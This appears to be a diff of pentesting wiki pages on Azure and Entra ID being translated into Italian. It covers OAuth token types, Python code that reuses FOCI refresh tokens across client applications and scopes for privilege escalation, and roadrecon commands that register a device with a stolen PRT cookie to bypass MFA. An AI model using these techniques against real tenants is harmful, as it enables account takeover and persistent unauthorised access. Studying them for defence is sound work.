"notIn": ["eastus", "westus"]
|
||||
},
|
||||
"then": {
|
||||
"effect": "Deny"
|
||||
}
|
||||
},
|
||||
"parameters": {},
|
||||
"displayName": "Allow resources only in East US and West US",
|
||||
"description": "This policy ensures that resources can only be created in East US or West US.",
|
||||
"mode": "All"
|
||||
"policyRule": {
|
||||
"if": {
|
||||
"field": "location",
|
||||
"notIn": ["eastus", "westus"]
|
||||
},
|
||||
"then": {
|
||||
"effect": "Deny"
|
||||
}
|
||||
},
|
||||
"parameters": {},
|
||||
"displayName": "Allow resources only in East US and West US",
|
||||
"description": "This policy ensures that resources can only be created in East US or West US.",
|
||||
"mode": "All"
|
||||
}
|
||||
```
|
||||
### Ereditarietà delle autorizzazioni
|
||||
|
||||
### Permissions Inheritance
|
||||
In Azure **le autorizzazioni possono essere assegnate a qualsiasi parte della gerarchia**. Questo include gruppi di gestione, sottoscrizioni, gruppi di risorse e risorse individuali. Le autorizzazioni sono **ereditarie** dalle **risorse** contenute nell'entità a cui sono state assegnate.
|
||||
|
||||
In Azure **permissions are can be assigned to any part of the hierarchy**. That includes management groups, subscriptions, resource groups, and individual resources. Permissions are **inherited** by contained **resources** of the entity where they were assigned.
|
||||
|
||||
This hierarchical structure allows for efficient and scalable management of access permissions.
|
||||
Questa struttura gerarchica consente una gestione efficiente e scalabile delle autorizzazioni di accesso.
|
||||
|
||||
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Azure RBAC vs ABAC
|
||||
|
||||
**RBAC** (role-based access control) is what we have seen already in the previous sections: **Assigning a role to a principal to grant him access** over a resource.\
|
||||
However, in some cases you might want to provide **more fined-grained access management** or **simplify** the management of **hundreds** of role **assignments**.
|
||||
**RBAC** (controllo accessi basato su ruoli) è ciò che abbiamo già visto nelle sezioni precedenti: **Assegnare un ruolo a un principale per concedergli accesso** a una risorsa.\
|
||||
Tuttavia, in alcuni casi potresti voler fornire una **gestione degli accessi più dettagliata** o **semplificare** la gestione di **centinaia** di **assegnazioni** di ruolo.
|
||||
|
||||
Azure **ABAC** (attribute-based access control) builds on Azure RBAC by adding **role assignment conditions based on attributes** in the context of specific actions. A _role assignment condition_ is an **additional check that you can optionally add to your role assignment** to provide more fine-grained access control. A condition filters down permissions granted as a part of the role definition and role assignment. For example, you can **add a condition that requires an object to have a specific tag to read the object**.\
|
||||
You **cannot** explicitly **deny** **access** to specific resources **using conditions**.
|
||||
Azure **ABAC** (controllo accessi basato su attributi) si basa su Azure RBAC aggiungendo **condizioni di assegnazione del ruolo basate su attributi** nel contesto di azioni specifiche. Una _condizione di assegnazione del ruolo_ è un **controllo aggiuntivo che puoi opzionalmente aggiungere alla tua assegnazione di ruolo** per fornire un controllo degli accessi più dettagliato. Una condizione filtra le autorizzazioni concesse come parte della definizione del ruolo e dell'assegnazione del ruolo. Ad esempio, puoi **aggiungere una condizione che richiede a un oggetto di avere un tag specifico per leggere l'oggetto**.\
|
||||
Non **puoi** esplicitamente **negare** **l'accesso** a risorse specifiche **utilizzando condizioni**.
|
||||
|
||||
## References
|
||||
## Riferimenti
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/governance/management-groups/overview](https://learn.microsoft.com/en-us/azure/governance/management-groups/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions)
|
||||
@@ -379,7 +375,3 @@ You **cannot** explicitly **deny** **access** to specific resources **using cond
|
||||
- [https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration](https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,98 +4,97 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Entra ID is Microsoft's cloud-based identity and access management (IAM) platform, serving as the foundational authentication and authorization system for services like Microsoft 365 and Azure Resource Manager. Azure AD implements the OAuth 2.0 authorization framework and the OpenID Connect (OIDC) authentication protocol to manage access to resources.
|
||||
Entra ID è la piattaforma di gestione dell'identità e degli accessi (IAM) basata sul cloud di Microsoft, che funge da sistema fondamentale di autenticazione e autorizzazione per servizi come Microsoft 365 e Azure Resource Manager. Azure AD implementa il framework di autorizzazione OAuth 2.0 e il protocollo di autenticazione OpenID Connect (OIDC) per gestire l'accesso alle risorse.
|
||||
|
||||
### OAuth
|
||||
|
||||
**Key Participants in OAuth 2.0:**
|
||||
**Partecipanti Chiave in OAuth 2.0:**
|
||||
|
||||
1. **Resource Server (RS):** Protects resources owned by the resource owner.
|
||||
2. **Resource Owner (RO):** Typically an end-user who owns the protected resources.
|
||||
3. **Client Application (CA):** An application seeking access to resources on behalf of the resource owner.
|
||||
4. **Authorization Server (AS):** Issues access tokens to client applications after authenticating and authorizing them.
|
||||
1. **Server delle Risorse (RS):** Protegge le risorse possedute dal proprietario delle risorse.
|
||||
2. **Proprietario delle Risorse (RO):** Tipicamente un utente finale che possiede le risorse protette.
|
||||
3. **Applicazione Client (CA):** Un'applicazione che cerca di accedere alle risorse per conto del proprietario delle risorse.
|
||||
4. **Server di Autorizzazione (AS):** Emmette token di accesso alle applicazioni client dopo averle autenticate e autorizzate.
|
||||
|
||||
**Scopes and Consent:**
|
||||
**Ambiti e Consenso:**
|
||||
|
||||
- **Scopes:** Granular permissions defined on the resource server that specify access levels.
|
||||
- **Consent:** The process by which a resource owner grants a client application permission to access resources with specific scopes.
|
||||
- **Ambiti:** Permessi granulari definiti sul server delle risorse che specificano i livelli di accesso.
|
||||
- **Consenso:** Il processo mediante il quale un proprietario delle risorse concede a un'applicazione client il permesso di accedere alle risorse con ambiti specifici.
|
||||
|
||||
**Microsoft 365 Integration:**
|
||||
**Integrazione con Microsoft 365:**
|
||||
|
||||
- Microsoft 365 utilizes Azure AD for IAM and is composed of multiple "first-party" OAuth applications.
|
||||
- These applications are deeply integrated and often have interdependent service relationships.
|
||||
- To simplify user experience and maintain functionality, Microsoft grants "implied consent" or "pre-consent" to these first-party applications.
|
||||
- **Implied Consent:** Certain applications are automatically **granted access to specific scopes without explicit user or administrator approva**l.
|
||||
- These pre-consented scopes are typically hidden from both users and administrators, making them less visible in standard management interfaces.
|
||||
- Microsoft 365 utilizza Azure AD per IAM ed è composto da più applicazioni OAuth "di prima parte".
|
||||
- Queste applicazioni sono profondamente integrate e spesso hanno relazioni di servizio interdipendenti.
|
||||
- Per semplificare l'esperienza dell'utente e mantenere la funzionalità, Microsoft concede "consenso implicito" o "pre-consenso" a queste applicazioni di prima parte.
|
||||
- **Consenso Implicito:** Alcune applicazioni sono automaticamente **concesse accesso a specifici ambiti senza approvazione esplicita dell'utente o dell'amministratore**.
|
||||
- Questi ambiti pre-consentiti sono tipicamente nascosti sia agli utenti che agli amministratori, rendendoli meno visibili nelle interfacce di gestione standard.
|
||||
|
||||
**Client Application Types:**
|
||||
**Tipi di Applicazioni Client:**
|
||||
|
||||
1. **Confidential Clients:**
|
||||
- Possess their own credentials (e.g., passwords or certificates).
|
||||
- Can **securely authenticate themselves** to the authorization server.
|
||||
2. **Public Clients:**
|
||||
- Do not have unique credentials.
|
||||
- Cannot securely authenticate to the authorization server.
|
||||
- **Security Implication:** An attacker can impersonate a public client application when requesting tokens, as there is no mechanism for the authorization server to verify the legitimacy of the application.
|
||||
1. **Client Riservati:**
|
||||
- Possiedono le proprie credenziali (ad es., password o certificati).
|
||||
- Possono **autenticarsi in modo sicuro** al server di autorizzazione.
|
||||
2. **Client Pubblici:**
|
||||
- Non hanno credenziali uniche.
|
||||
- Non possono autenticarsi in modo sicuro al server di autorizzazione.
|
||||
- **Implicazione di Sicurezza:** Un attaccante può impersonare un'applicazione client pubblica quando richiede token, poiché non esiste un meccanismo per il server di autorizzazione per verificare la legittimità dell'applicazione.
|
||||
|
||||
## Authentication Tokens
|
||||
|
||||
There are **three types of tokens** used in OIDC:
|
||||
Ci sono **tre tipi di token** utilizzati in OIDC:
|
||||
|
||||
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** The client presents this token to the resource server to **access resources**. It can be used only for a specific combination of user, client, and resource and **cannot be revoked** until expiry - that is 1 hour by default.
|
||||
- **ID Tokens**: The client receives this **token from the authorization server**. It contains basic information about the user. It is **bound to a specific combination of user and client**.
|
||||
- **Refresh Tokens**: Provided to the client with access token. Used to **get new access and ID tokens**. It is bound to a specific combination of user and client and can be revoked. Default expiry is **90 days** for inactive refresh tokens and **no expiry for active tokens** (be from a refresh token is possible to get new refresh tokens).
|
||||
- A refresh token should be tied to an **`aud`** , to some **scopes**, and to a **tenant** and it should only be able to generate access tokens for that aud, scopes (and no more) and tenant. However, this is not the case with **FOCI applications tokens**.
|
||||
- A refresh token is encrypted and only Microsoft can decrypt it.
|
||||
- Getting a new refresh token doesn't revoke the previous refresh token.
|
||||
- [**Token di Accesso**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Il client presenta questo token al server delle risorse per **accedere alle risorse**. Può essere utilizzato solo per una specifica combinazione di utente, client e risorsa e **non può essere revocato** fino alla scadenza - che è di 1 ora per impostazione predefinita.
|
||||
- **Token ID**: Il client riceve questo **token dal server di autorizzazione**. Contiene informazioni di base sull'utente. È **legato a una specifica combinazione di utente e client**.
|
||||
- **Token di Aggiornamento**: Forniti al client con il token di accesso. Utilizzati per **ottenere nuovi token di accesso e ID**. È legato a una specifica combinazione di utente e client e può essere revocato. La scadenza predefinita è **90 giorni** per i token di aggiornamento inattivi e **nessuna scadenza per i token attivi** (da un token di aggiornamento è possibile ottenere nuovi token di aggiornamento).
|
||||
- Un token di aggiornamento dovrebbe essere legato a un **`aud`**, a alcuni **ambiti**, e a un **tenant** e dovrebbe essere in grado di generare token di accesso solo per quel aud, ambiti (e non di più) e tenant. Tuttavia, questo non è il caso con i **token delle applicazioni FOCI**.
|
||||
- Un token di aggiornamento è crittografato e solo Microsoft può decrittografarlo.
|
||||
- Ottenere un nuovo token di aggiornamento non revoca il token di aggiornamento precedente.
|
||||
|
||||
> [!WARNING]
|
||||
> Information for **conditional access** is **stored** inside the **JWT**. So, if you request the **token from an allowed IP address**, that **IP** will be **stored** in the token and then you can use that token from a **non-allowed IP to access the resources**.
|
||||
> Le informazioni per **l'accesso condizionale** sono **memorizzate** all'interno del **JWT**. Quindi, se richiedi il **token da un indirizzo IP consentito**, quell'**IP** sarà **memorizzato** nel token e poi puoi utilizzare quel token da un **IP non consentito per accedere alle risorse**.
|
||||
|
||||
### Access Tokens "aud"
|
||||
|
||||
The field indicated in the "aud" field is the **resource server** (the application) used to perform the login.
|
||||
Il campo indicato nel campo "aud" è il **server delle risorse** (l'applicazione) utilizzato per eseguire il login.
|
||||
|
||||
The command `az account get-access-token --resource-type [...]` supports the following types and each of them will add a specific "aud" in the resulting access token:
|
||||
Il comando `az account get-access-token --resource-type [...]` supporta i seguenti tipi e ciascuno di essi aggiungerà un "aud" specifico nel token di accesso risultante:
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that the following are just the APIs supported by `az account get-access-token` but there are more.
|
||||
> Nota che i seguenti sono solo le API supportate da `az account get-access-token` ma ce ne sono di più.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>aud examples</summary>
|
||||
<summary>esempi di aud</summary>
|
||||
|
||||
- **aad-graph (Azure Active Directory Graph API)**: Used to access the legacy Azure AD Graph API (deprecated), which allows applications to read and write directory data in Azure Active Directory (Azure AD).
|
||||
- `https://graph.windows.net/`
|
||||
- **aad-graph (Azure Active Directory Graph API)**: Utilizzato per accedere all'API Azure AD Graph legacy (deprecata), che consente alle applicazioni di leggere e scrivere dati di directory in Azure Active Directory (Azure AD).
|
||||
- `https://graph.windows.net/`
|
||||
|
||||
* **arm (Azure Resource Manager)**: Used to manage Azure resources through the Azure Resource Manager API. This includes operations like creating, updating, and deleting resources such as virtual machines, storage accounts, and more.
|
||||
- `https://management.core.windows.net/ or https://management.azure.com/`
|
||||
* **arm (Azure Resource Manager)**: Utilizzato per gestire le risorse Azure tramite l'API Azure Resource Manager. Questo include operazioni come la creazione, l'aggiornamento e la cancellazione di risorse come macchine virtuali, account di archiviazione e altro.
|
||||
- `https://management.core.windows.net/ o https://management.azure.com/`
|
||||
|
||||
- **batch (Azure Batch Services)**: Used to access Azure Batch, a service that enables large-scale parallel and high-performance computing applications efficiently in the cloud.
|
||||
- `https://batch.core.windows.net/`
|
||||
- **batch (Azure Batch Services)**: Utilizzato per accedere ad Azure Batch, un servizio che consente applicazioni di calcolo parallelo su larga scala e ad alte prestazioni in modo efficiente nel cloud.
|
||||
- `https://batch.core.windows.net/`
|
||||
|
||||
* **data-lake (Azure Data Lake Storage)**: Used to interact with Azure Data Lake Storage Gen1, which is a scalable data storage and analytics service.
|
||||
- `https://datalake.azure.net/`
|
||||
* **data-lake (Azure Data Lake Storage)**: Utilizzato per interagire con Azure Data Lake Storage Gen1, che è un servizio di archiviazione e analisi dei dati scalabile.
|
||||
- `https://datalake.azure.net/`
|
||||
|
||||
- **media (Azure Media Services)**: Used to access Azure Media Services, which provide cloud-based media processing and delivery services for video and audio content.
|
||||
- `https://rest.media.azure.net`
|
||||
- **media (Azure Media Services)**: Utilizzato per accedere ad Azure Media Services, che forniscono servizi di elaborazione e distribuzione dei media basati sul cloud per contenuti video e audio.
|
||||
- `https://rest.media.azure.net`
|
||||
|
||||
* **ms-graph (Microsoft Graph API)**: Used to access the Microsoft Graph API, the unified endpoint for Microsoft 365 services data. It allows you to access data and insights from services like Azure AD, Office 365, Enterprise Mobility, and Security services.
|
||||
- `https://graph.microsoft.com`
|
||||
* **ms-graph (Microsoft Graph API)**: Utilizzato per accedere all'API Microsoft Graph, l'endpoint unificato per i dati dei servizi Microsoft 365. Consente di accedere a dati e informazioni da servizi come Azure AD, Office 365, Enterprise Mobility e servizi di sicurezza.
|
||||
- `https://graph.microsoft.com`
|
||||
|
||||
- **oss-rdbms (Azure Open Source Relational Databases)**: Used to access Azure Database services for open-source relational database engines like MySQL, PostgreSQL, and MariaDB.
|
||||
- `https://ossrdbms-aad.database.windows.net`
|
||||
- **oss-rdbms (Azure Open Source Relational Databases)**: Utilizzato per accedere ai servizi di database Azure per motori di database relazionali open-source come MySQL, PostgreSQL e MariaDB.
|
||||
- `https://ossrdbms-aad.database.windows.net`
|
||||
|
||||
</details>
|
||||
|
||||
### Access Tokens Scopes "scp"
|
||||
|
||||
The scope of an access token is stored inside the scp key inside the access token JWT. These scopes define what the access token has access to.
|
||||
L'ambito di un token di accesso è memorizzato all'interno della chiave scp all'interno del JWT del token di accesso. Questi ambiti definiscono a cosa ha accesso il token di accesso.
|
||||
|
||||
If a JWT is allowed to contact an specific API but **doesn't have the scope** to perform the requested action, it **won't be able to perform the action** with that JWT.
|
||||
|
||||
### Get refresh & access token example
|
||||
Se un JWT è autorizzato a contattare un'API specifica ma **non ha l'ambito** per eseguire l'azione richiesta, **non sarà in grado di eseguire l'azione** con quel JWT.
|
||||
|
||||
### Esempio di ottenimento di token di aggiornamento e accesso
|
||||
```python
|
||||
# Code example from https://github.com/secureworks/family-of-client-ids-research
|
||||
import msal
|
||||
@@ -107,17 +106,17 @@ from typing import Any, Dict, List
|
||||
|
||||
# LOGIN VIA CODE FLOW AUTHENTICATION
|
||||
azure_cli_client = msal.PublicClientApplication(
|
||||
"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
|
||||
"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
|
||||
)
|
||||
device_flow = azure_cli_client.initiate_device_flow(
|
||||
scopes=["https://graph.microsoft.com/.default"]
|
||||
scopes=["https://graph.microsoft.com/.default"]
|
||||
)
|
||||
print(device_flow["message"])
|
||||
|
||||
# Perform device code flow authentication
|
||||
|
||||
azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
|
||||
device_flow
|
||||
device_flow
|
||||
)
|
||||
pprint(azure_cli_bearer_tokens_for_graph_api)
|
||||
|
||||
@@ -125,83 +124,74 @@ pprint(azure_cli_bearer_tokens_for_graph_api)
|
||||
|
||||
# DECODE JWT
|
||||
def decode_jwt(base64_blob: str) -> Dict[str, Any]:
|
||||
"""Decodes base64 encoded JWT blob"""
|
||||
return jwt.decode(
|
||||
base64_blob, options={"verify_signature": False, "verify_aud": False}
|
||||
)
|
||||
"""Decodes base64 encoded JWT blob"""
|
||||
return jwt.decode(
|
||||
base64_blob, options={"verify_signature": False, "verify_aud": False}
|
||||
)
|
||||
decoded_access_token = decode_jwt(
|
||||
azure_cli_bearer_tokens_for_graph_api.get("access_token")
|
||||
azure_cli_bearer_tokens_for_graph_api.get("access_token")
|
||||
)
|
||||
pprint(decoded_access_token)
|
||||
|
||||
|
||||
# GET NEW ACCESS TOKEN AND REFRESH TOKEN
|
||||
new_azure_cli_bearer_tokens_for_graph_api = (
|
||||
# Same client as original authorization
|
||||
azure_cli_client.acquire_token_by_refresh_token(
|
||||
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
|
||||
# Same scopes as original authorization
|
||||
scopes=["https://graph.microsoft.com/.default"],
|
||||
)
|
||||
# Same client as original authorization
|
||||
azure_cli_client.acquire_token_by_refresh_token(
|
||||
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
|
||||
# Same scopes as original authorization
|
||||
scopes=["https://graph.microsoft.com/.default"],
|
||||
)
|
||||
)
|
||||
pprint(new_azure_cli_bearer_tokens_for_graph_api)
|
||||
```
|
||||
|
||||
## FOCI Tokens Privilege Escalation
|
||||
|
||||
Previously it was mentioned that refresh tokens should be tied to the **scopes** it was generated with, to the **application** and **tenant** it was generated to. If any of these boundaries is broken, it's possible to escalate privileges as it will be possible to generate access tokens to other resources and tenants the user has access to and with more scopes than it was originally intended.
|
||||
In precedenza è stato menzionato che i refresh token dovrebbero essere legati agli **scopes** con cui sono stati generati, all'**applicazione** e al **tenant** a cui sono stati generati. Se uno di questi confini viene violato, è possibile effettuare un'escursione dei privilegi poiché sarà possibile generare access token per altre risorse e tenant a cui l'utente ha accesso e con più scopes di quanto fosse originariamente previsto.
|
||||
|
||||
Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
|
||||
Inoltre, **questo è possibile con tutti i refresh token** nella [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (account Microsoft Entra, account personali Microsoft e account social come Facebook e Google) perché come menzionano le [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens): "I refresh token sono legati a una combinazione di utente e client, ma **non sono legati a una risorsa o tenant**. Un client può utilizzare un refresh token per acquisire access token **attraverso qualsiasi combinazione di risorsa e tenant** per cui ha il permesso di farlo. I refresh token sono crittografati e solo la Microsoft identity platform può leggerli."
|
||||
|
||||
Moreover, note that the FOCI applications are public applications, so **no secret is needed** to authenticate to the server.
|
||||
Inoltre, nota che le applicazioni FOCI sono applicazioni pubbliche, quindi **non è necessario alcun segreto** per autenticarsi al server.
|
||||
|
||||
Then known FOCI clients reported in the [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) can be [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
|
||||
I client FOCI noti riportati nella [**ricerca originale**](https://github.com/secureworks/family-of-client-ids-research/tree/main) possono essere [**trovati qui**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
|
||||
|
||||
### Get different scope
|
||||
|
||||
Following with the previous example code, in this code it's requested a new token for a different scope:
|
||||
|
||||
Proseguendo con il codice di esempio precedente, in questo codice viene richiesto un nuovo token per uno scope diverso:
|
||||
```python
|
||||
# Code from https://github.com/secureworks/family-of-client-ids-research
|
||||
azure_cli_bearer_tokens_for_outlook_api = (
|
||||
# Same client as original authorization
|
||||
azure_cli_client.acquire_token_by_refresh_token(
|
||||
new_azure_cli_bearer_tokens_for_graph_api.get(
|
||||
"refresh_token"
|
||||
),
|
||||
# But different scopes than original authorization
|
||||
scopes=[
|
||||
"https://outlook.office.com/.default"
|
||||
],
|
||||
)
|
||||
# Same client as original authorization
|
||||
azure_cli_client.acquire_token_by_refresh_token(
|
||||
new_azure_cli_bearer_tokens_for_graph_api.get(
|
||||
"refresh_token"
|
||||
),
|
||||
# But different scopes than original authorization
|
||||
scopes=[
|
||||
"https://outlook.office.com/.default"
|
||||
],
|
||||
)
|
||||
)
|
||||
pprint(azure_cli_bearer_tokens_for_outlook_api)
|
||||
```
|
||||
|
||||
### Get different client and scopes
|
||||
|
||||
### Ottieni diversi client e ambiti
|
||||
```python
|
||||
# Code from https://github.com/secureworks/family-of-client-ids-research
|
||||
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
|
||||
microsoft_office_bearer_tokens_for_graph_api = (
|
||||
# This is a different client application than we used in the previous examples
|
||||
microsoft_office_client.acquire_token_by_refresh_token(
|
||||
# But we can use the refresh token issued to our original client application
|
||||
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
|
||||
# And request different scopes too
|
||||
scopes=["https://graph.microsoft.com/.default"],
|
||||
)
|
||||
# This is a different client application than we used in the previous examples
|
||||
microsoft_office_client.acquire_token_by_refresh_token(
|
||||
# But we can use the refresh token issued to our original client application
|
||||
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
|
||||
# And request different scopes too
|
||||
scopes=["https://graph.microsoft.com/.default"],
|
||||
)
|
||||
)
|
||||
# How is this possible?
|
||||
pprint(microsoft_office_bearer_tokens_for_graph_api)
|
||||
```
|
||||
|
||||
## References
|
||||
## Riferimenti
|
||||
|
||||
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,23 +2,21 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Informazioni di Base
|
||||
|
||||
When a device joins AzureAD a new object is created in AzureAD.
|
||||
Quando un dispositivo si unisce ad AzureAD, viene creato un nuovo oggetto in AzureAD.
|
||||
|
||||
When registering a device, the **user is asked to login with his account** (asking for MFA if needed), then it request tokens for the device registration service and then ask a final confirmation prompt.
|
||||
Quando si registra un dispositivo, **all'utente viene chiesto di accedere con il proprio account** (richiedendo MFA se necessario), quindi richiede token per il servizio di registrazione del dispositivo e poi chiede una conferma finale.
|
||||
|
||||
Then, two RSA keypairs are generated in the device: The **device key** (**public** key) which is sent to **AzureAD** and the **transport** key (**private** key) which is stored in TPM if possible.
|
||||
|
||||
Then, the **object** is generated in **AzureAD** (not in Intune) and AzureAD gives back to the device a **certificate** signed by it. You can check that the **device is AzureAD joined** and info about the **certificate** (like if it's protected by TPM).:
|
||||
Successivamente, vengono generati due coppie di chiavi RSA nel dispositivo: La **chiave del dispositivo** (**chiave pubblica**) che viene inviata ad **AzureAD** e la **chiave di trasporto** (**chiave privata**) che viene memorizzata nel TPM se possibile.
|
||||
|
||||
Infine, l'**oggetto** viene generato in **AzureAD** (non in Intune) e AzureAD restituisce al dispositivo un **certificato** firmato da esso. Puoi verificare che il **dispositivo sia unito ad AzureAD** e informazioni sul **certificato** (come se è protetto da TPM).
|
||||
```bash
|
||||
dsregcmd /status
|
||||
```
|
||||
Dopo la registrazione del dispositivo, un **Primary Refresh Token** viene richiesto dal modulo LSASS CloudAP e fornito al dispositivo. Con il PRT viene anche consegnata la **chiave di sessione crittografata in modo che solo il dispositivo possa decrittarla** (utilizzando la chiave pubblica della chiave di trasporto) ed è **necessaria per utilizzare il PRT.**
|
||||
|
||||
After the device registration a **Primary Refresh Token** is requested by the LSASS CloudAP module and given to the device. With the PRT is also delivered the **session key encrypted so only the device can decrypt it** (using the public key of the transport key) and it's **needed to use the PRT.**
|
||||
|
||||
For more information about what is a PRT check:
|
||||
Per ulteriori informazioni su cosa sia un PRT, controlla:
|
||||
|
||||
{{#ref}}
|
||||
az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
@@ -26,19 +24,18 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
|
||||
### TPM - Trusted Platform Module
|
||||
|
||||
The **TPM** **protects** against key **extraction** from a powered down device (if protected by PIN) nd from extracting the private material from the OS layer.\
|
||||
But it **doesn't protect** against **sniffing** the physical connection between the TPM and CPU or **using the cryptograpic material** in the TPM while the system is running from a process with **SYSTEM** rights.
|
||||
Il **TPM** **protegge** contro l'**estrazione** della chiave da un dispositivo spento (se protetto da PIN) e dall'estrazione del materiale privato dallo strato OS.\
|
||||
Ma non **protegge** contro il **sniffing** della connessione fisica tra il TPM e la CPU o **l'uso del materiale crittografico** nel TPM mentre il sistema è in esecuzione da un processo con diritti **SYSTEM**.
|
||||
|
||||
If you check the following page you will see that **stealing the PRT** can be used to access like a the **user**, which is great because the **PRT is located devices**, so it can be stolen from them (or if not stolen abused to generate new signing keys):
|
||||
Se controlli la pagina seguente, vedrai che **rubare il PRT** può essere utilizzato per accedere come un **utente**, il che è fantastico perché il **PRT si trova nei dispositivi**, quindi può essere rubato da essi (o se non rubato abusato per generare nuove chiavi di firma):
|
||||
|
||||
{{#ref}}
|
||||
az-lateral-movement-cloud-on-prem/pass-the-prt.md
|
||||
{{#endref}}
|
||||
|
||||
## Registering a device with SSO tokens
|
||||
|
||||
It would be possible for an attacker to request a token for the Microsoft device registration service from the compromised device and register it:
|
||||
## Registrazione di un dispositivo con token SSO
|
||||
|
||||
Sarebbe possibile per un attaccante richiedere un token per il servizio di registrazione dei dispositivi Microsoft dal dispositivo compromesso e registrarlo:
|
||||
```bash
|
||||
# Initialize SSO flow
|
||||
roadrecon auth prt-init
|
||||
@@ -50,49 +47,46 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie <cookie>
|
||||
# Custom pyhton script to register a device (check roadtx)
|
||||
registerdevice.py
|
||||
```
|
||||
|
||||
Which will give you a **certificate you can use to ask for PRTs in the future**. Therefore maintaining persistence and **bypassing MFA** because the original PRT token used to register the new device **already had MFA permissions granted**.
|
||||
Quale ti darà un **certificato che puoi usare per richiedere PRT in futuro**. Pertanto, mantenendo la persistenza e **bypassando MFA** perché il token PRT originale utilizzato per registrare il nuovo dispositivo **aveva già i permessi MFA concessi**.
|
||||
|
||||
> [!TIP]
|
||||
> Note that to perform this attack you will need permissions to **register new devices**. Also, registering a device doesn't mean the device will be **allowed to enrol into Intune**.
|
||||
> Nota che per eseguire questo attacco avrai bisogno di permessi per **registrare nuovi dispositivi**. Inoltre, registrare un dispositivo non significa che il dispositivo sarà **autorizzato a iscriversi a Intune**.
|
||||
|
||||
> [!CAUTION]
|
||||
> This attack was fixed in September 2021 as you can no longer register new devices using a SSO tokens. However, it's still possible to register devices in a legit way (having username, password and MFA if needed). Check: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md).
|
||||
> Questo attacco è stato risolto a settembre 2021 poiché non puoi più registrare nuovi dispositivi utilizzando token SSO. Tuttavia, è ancora possibile registrare dispositivi in modo legittimo (avendo nome utente, password e MFA se necessario). Controlla: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md).
|
||||
|
||||
## Overwriting a device ticket
|
||||
## Sovrascrivere un ticket dispositivo
|
||||
|
||||
It was possible to **request a device ticket**, **overwrite** the current one of the device, and during the flow **steal the PRT** (so no need to steal it from the TPM. For more info [**check this talk**](https://youtu.be/BduCn8cLV1A).
|
||||
Era possibile **richiedere un ticket dispositivo**, **sovrascrivere** quello attuale del dispositivo e durante il flusso **rubare il PRT** (quindi non è necessario rubarlo dal TPM. Per maggiori informazioni [**controlla questo intervento**](https://youtu.be/BduCn8cLV1A).
|
||||
|
||||
<figure><img src="../../images/image (32).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> However, this was fixed.
|
||||
> Tuttavia, questo è stato risolto.
|
||||
|
||||
## Overwrite WHFB key
|
||||
## Sovrascrivere la chiave WHFB
|
||||
|
||||
[**Check the original slides here**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
|
||||
[**Controlla le diapositive originali qui**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
|
||||
|
||||
Attack summary:
|
||||
Riepilogo dell'attacco:
|
||||
|
||||
- It's possible to **overwrite** the **registered WHFB** key from a **device** via SSO
|
||||
- It **defeats TPM protection** as the key is **sniffed during the generation** of the new key
|
||||
- This also provides **persistence**
|
||||
- È possibile **sovrascrivere** la chiave **WHFB registrata** da un **dispositivo** tramite SSO
|
||||
- Questo **annulla la protezione TPM** poiché la chiave è **sniffata durante la generazione** della nuova chiave
|
||||
- Questo fornisce anche **persistenza**
|
||||
|
||||
<figure><img src="../../images/image (34).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
